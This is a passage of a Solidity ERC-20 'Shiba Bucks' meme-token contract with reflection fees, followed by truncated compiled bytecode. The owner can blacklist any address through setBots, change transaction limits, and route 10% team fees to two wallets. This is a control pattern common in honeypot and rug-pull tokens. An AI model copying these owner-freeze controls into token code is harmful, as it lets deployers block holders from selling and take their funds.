function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ShibaBucks is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shiba Bucks";
string private constant _symbol = "SHIBUCKS \xF0\x9F\x90\x95";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600b81526020017f5368696261204275636b73000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f5348494255434b5320f09f909500000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b9150